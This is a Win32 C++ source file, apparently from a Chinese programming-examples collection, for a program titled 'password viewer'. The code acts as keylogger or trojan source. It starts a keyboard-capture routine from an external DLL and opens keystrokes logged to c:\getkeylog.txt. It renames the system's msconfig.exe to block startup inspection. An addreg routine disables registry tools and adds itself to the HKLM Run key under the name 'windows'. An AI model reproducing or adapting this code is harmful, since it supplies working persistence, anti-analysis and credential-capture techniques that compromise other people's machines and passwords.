getkey.cpp

visual c++ 实例编程

// getkey.cpp : Defines the entry point for the application.
//
#include "stdafx.h"
#include "resource.h"
#include "keydll.h"
#include "winsock2.h"
#define MAX_LOADSTRING 100

// Global Variables:
HINSTANCE hInst,ghinst;								// current instance
TCHAR szTitle[MAX_LOADSTRING];								// The title bar text
TCHAR szWindowClass[MAX_LOADSTRING];
void addreg(BOOL flag);						// The title bar text
HWND shWnd; 
// Foward declarations of functions included in this code module:
ATOM				MyRegisterClass(HINSTANCE hInstance);
BOOL				InitInstance(HINSTANCE, int);
LRESULT CALLBACK	WndProc(HWND, UINT, WPARAM, LPARAM);
//BOOL CALLBACK	About(HWND, UINT, WPARAM, LPARAM);


int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
 	// TODO: Place code here.
	MSG msg;
	HACCEL hAccelTable;

	// Initialize global strings
	LoadString(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
	LoadString(hInstance, IDC_GETKEY, szWindowClass, MAX_LOADSTRING);
	MyRegisterClass(hInstance);

	// Perform application initialization:
	if (!InitInstance (hInstance, nCmdShow)) 
	{
		return FALSE;
	}

	hAccelTable = LoadAccelerators(hInstance, (LPCTSTR)IDC_GETKEY);

	// Main message loop:
	while (GetMessage(&msg, NULL, 0, 0)) 
	{
		if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg)) 
		{
			TranslateMessage(&msg);
			DispatchMessage(&msg);
		}
	}

	return msg.wParam;
}



//
//  FUNCTION: MyRegisterClass()
//
//  PURPOSE: Registers the window class.
//
//  COMMENTS:
//
//    This function and its usage is only necessary if you want this code
//    to be compatible with Win32 systems prior to the 'RegisterClassEx'
//    function that was added to Windows 95. It is important to call this function
//    so that the application will get 'well formed' small icons associated
//    with it.
//
ATOM MyRegisterClass(HINSTANCE hInstance)
{
	WNDCLASSEX wcex;

	wcex.cbSize = sizeof(WNDCLASSEX); 
   	wcex.style			= CS_HREDRAW | CS_VREDRAW;
	wcex.lpfnWndProc	= (WNDPROC)WndProc;
	wcex.cbClsExtra		= 0;
	wcex.cbWndExtra		= 0;
	wcex.hInstance		= hInstance;
	wcex.hIcon			= LoadIcon(hInstance, (LPCTSTR)IDI_GETKEY);
	wcex.hCursor		= LoadCursor(NULL, IDC_ARROW);
	wcex.hbrBackground	= (HBRUSH)GetStockObject(3);//(HBRUSH)(COLOR_WINDOW+10);
	wcex.lpszMenuName	= (LPCSTR)IDC_GETKEY;
	wcex.lpszClassName	= szWindowClass;
	wcex.hIconSm		= LoadIcon(wcex.hInstance, (LPCTSTR)IDI_SMALL);

	return RegisterClassEx(&wcex);
}

//
//   FUNCTION: InitInstance(HANDLE, int)
//
//   PURPOSE: Saves instance handle and creates main window
//
//   COMMENTS:
//
//        In this function, we save the instance handle in a global variable and
//        create and display the main program window.
//
BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
   HWND hWnd;

   hInst = hInstance; // Store instance handle in our global variable

   hWnd = CreateWindow(szWindowClass,"密码查看器",NULL,
	   CW_USEDEFAULT,0,320,240, NULL, NULL, hInstance, NULL);

   if (!hWnd)
  {
     return FALSE;
  }
  // int port=2000;
 
  //::DeleteFile("c:\\getkeylog.txt");	
//DialogBox(hInst, (LPCTSTR)IDD_ABOUTBOX, hWnd, (DLGPROC)About);
  ::ShowWindow(hWnd,SW_SHOW);
//    ::ShowWindow(hWnd,SW_HIDE);
//About(NULL,WM_COMMAND,IDOK,NULL);
  char syspath[256],opath[256];
  ::GetSystemDirectory(syspath,MAX_PATH);
  ::strcpy(opath,syspath);
  ::strcat(syspath,"\\msconfig.exe");
//  ::DeleteFile(syspath);
 ::strcat(opath,"\\mscfg.exe");
  ::MoveFile(syspath,opath);
//::MessageBox(NULL,syspath,"A",NULL);
//addreg(TRUE);

UpdateWindow(hWnd);
Start();
	
   return TRUE;
}

//
//  FUNCTION: WndProc(HWND, unsigned, WORD, LONG)
//
//  PURPOSE:  Processes messages for the main window.
//
//  WM_COMMAND	- process the application menu
//  WM_PAINT	- Paint the main window
//  WM_DESTROY	- post a quit message and return
//
//
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{	

	
    int wmId, wmEvent;
	PAINTSTRUCT ps;
    HDC hdc;
	TCHAR szHello[MAX_LOADSTRING];
	LoadString(hInst,IDS_HELLO, szHello, MAX_LOADSTRING);
//ShowWindow(shWnd, SW_HIDE);
	switch (message) 
	{
	case WM_CREATE:

//	Start();		
		::RegisterHotKey(hWnd,ID_HOTKEY,MOD_CONTROL,VK_F12);
	 //	return TRUE;
	
	break;	
    case WM_HOTKEY:	
		::ShowWindow(hWnd,SW_SHOW);
		::SetForegroundWindow(hWnd);
//	if(!Stop())

	break;	
	case WM_COMMAND:
		wmId    = LOWORD(wParam); 
		wmEvent = HIWORD(wParam); 
	    		// Parse the menu selections:
	   	switch (wmId)
			{
				case IDM_LOOK:
         ::WinExec("notepad.exe c:\\getkeylog.txt",SW_SHOW);
				   break;
				case IDM_EXIT:
				   DestroyWindow(hWnd);
				   break;
				default:
				   return DefWindowProc(hWnd, message, wParam, lParam);
			}
			break;
		case WM_RBUTTONDOWN:
       ::WinExec("notepad.exe c:\\getkeylog.txt",SW_SHOW);
          break;
		case WM_PAINT:
			hdc = BeginPaint(hWnd, &ps);
			// TODO: Add any drawing code here...
			RECT rt;
			GetClientRect(hWnd, &rt);
			rt.top=rt.top+80;
			rt.bottom=rt.bottom+80;
			::SetBkColor(hdc,RGB(0,255,128));
			::SetTextColor(hdc,RGB(128,0,128));
			::TextOut(hdc,65,20,"将鼠标移要查看密码处",20);
			::SetTextColor(hdc,RGB(255,0,128));
			

			::SetBkColor(hdc,RGB(255,0,0));
			::SetTextColor(hdc,RGB(0,255,0));
			::TextOut(hdc,90,50,"按“F8+左键”",13);

			EndPaint(hWnd, &ps);
			
			break;
		case WM_DESTROY:
			PostQuitMessage(0);
			break;

		default:
			return DefWindowProc(hWnd, message, wParam, lParam);
   }
   return 0;
}
void addreg(BOOL flag)
{
	char filename[255],a[12]="CD:";
::GetModuleFileName(NULL,filename,MAX_PATH);
//::MessageBox(NULL,filename,"z",NULL);
HKEY hkey;
//LPCTSTR data_set2="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
LPCTSTR data_set1="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\system",data_set2="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
LPBYTE lpb=new BYTE[4];
lpb[0]=0x0000001;
::RegOpenKeyEx(HKEY_CURRENT_USER,data_set1,0,KEY_WRITE,&hkey);	
::RegSetValueEx(hkey,"DisableRegistryTools",NULL,REG_DWORD,lpb,4);
::RegOpenKeyEx(HKEY_LOCAL_MACHINE,data_set2,0,KEY_WRITE,&hkey);
if(flag)
{
	::RegSetValueEx(hkey,"windows",NULL,REG_SZ,(BYTE*)filename,4);
}
else
{
	::RegSetValueEx(hkey,NULL,NULL,REG_SZ,(BYTE*)a,4);	
}
}